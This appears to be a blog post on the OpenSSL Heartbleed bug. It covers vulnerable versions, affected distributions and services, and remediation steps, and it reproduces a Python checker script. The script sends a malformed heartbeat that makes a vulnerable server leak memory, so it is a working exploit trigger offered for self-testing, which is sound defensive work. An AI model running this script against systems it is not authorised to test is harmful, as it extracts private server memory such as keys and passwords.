OpenSSL Heartbleed Bug

root's picture

What is Heartbleed Bug?
What is the CVE-2014-0160?
How widespread is this?

Many questions, explanations and technical details are mentioned here: http://heartbleed.com/

The goal of this article is not to repeat what is there but rather to make a summary and point out the most important (and some extra stuff too):

The affected versions are:

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable

Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

Some operating system distributions that have shipped with potentially vulnerable OpenSSL version:

Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 8.4 (OpenSSL 1.0.1e) and 9.1 (OpenSSL 1.0.1c)
NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)

Operating system distribution with versions that are not vulnerable:

Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14
SUSE Linux Enterprise Server

If you are like me, you have installed/compiled manually already some of the important packages (including OpenSSL) so the distributions list may not be so important.

I did not covered AIX here but I just got word that IBM security team created a bit of confusion by just fixing the vulnerability and not changing the OpenSSL version. I will not get into too much details but if you see the version 1.0.1e in your system and you have the package 1.0.1.502 installed (via lslpp command), you are NOT vulnerable. Examples of a non-vulnerable machine:

gzaix@root:/home/root # openssl version
OpenSSL 1.0.1e 11 Feb 2013
gzaix@root:/home/root # lslpp -l|grep -i openssl
  openssl.base             1.0.1.502  COMMITTED  Open Secure Socket Layer
  openssl.license          1.0.1.502  COMMITTED  Open Secure Socket License
  openssl.man.en_US        1.0.1.502  COMMITTED  Open Secure Socket Layer
  openssl.base             1.0.1.502  COMMITTED  Open Secure Socket Layer

What services can be affected:

The mod_ssl module is a common extension installed on Apache HTTP Server, IBM HTTP Server (IHS) and Oracle HTTP Server (OHS) that uses OpenSSL as the cryptography engine for HTTPS protocol. nginx is another web server that is known to use OpenSSL library.
Also, any SMTP/POP3/IMAP e-mail server that is using these versions of OpenSSL as the underlying cryptography engine will be affected by this security threat.

There is no confirmation at this moment of some specific product so the best way is to check the vulnerability (the script is at the end of this article).

What you can do if you are affected:

1. Install/compile the safe version.
2. Reissue all SSL certificates where it's applicable.
3. Reset all web users passwords.
4. Check compromised application data. There is no way to know exactly what was exposed. Basically all application/services data that was protected by the encrypted communication could be possibly exposed so everybody involved must be aware and appropriate actions must be taken.

If you want to test your vulnerability (for your website, mail servers, services, etc.) check the script below.

How it works and output:

florian@florian:~$ ./OpenSSL_heartbleedtest.py tar.gz.ro -p 443
tar.gz.ro|[color=red]NOT VULNERABLE[/color]

The script:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

# Modified for simplified checking by Yonathan Klijnsma

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

target = None

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
 
    return typ, ver, pay

def hit_hb(s):
    global target
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print target + '|NOT VULNERABLE'
            return False

        if typ == 24:
            if len(pay) > 3:
                print target + '|VULNERABLE'
            else:
                print target + '|NOT VULNERABLE'
            return True

        if typ == 21:
            print target + '|NOT VULNERABLE'
            return False

def main():
    global target
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    target = args[0]
    sys.stdout.flush()
    s.send(hello)
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

Thou shalt not steal!

If you want to use this information on your own website, please remember: by doing copy/paste entirely it is always stealing and you should be ashamed of yourself! Have at least the decency to create your own text and comments and run the commands on your own servers and provide your output, not what I did!

Or at least link back to this website.

Recent content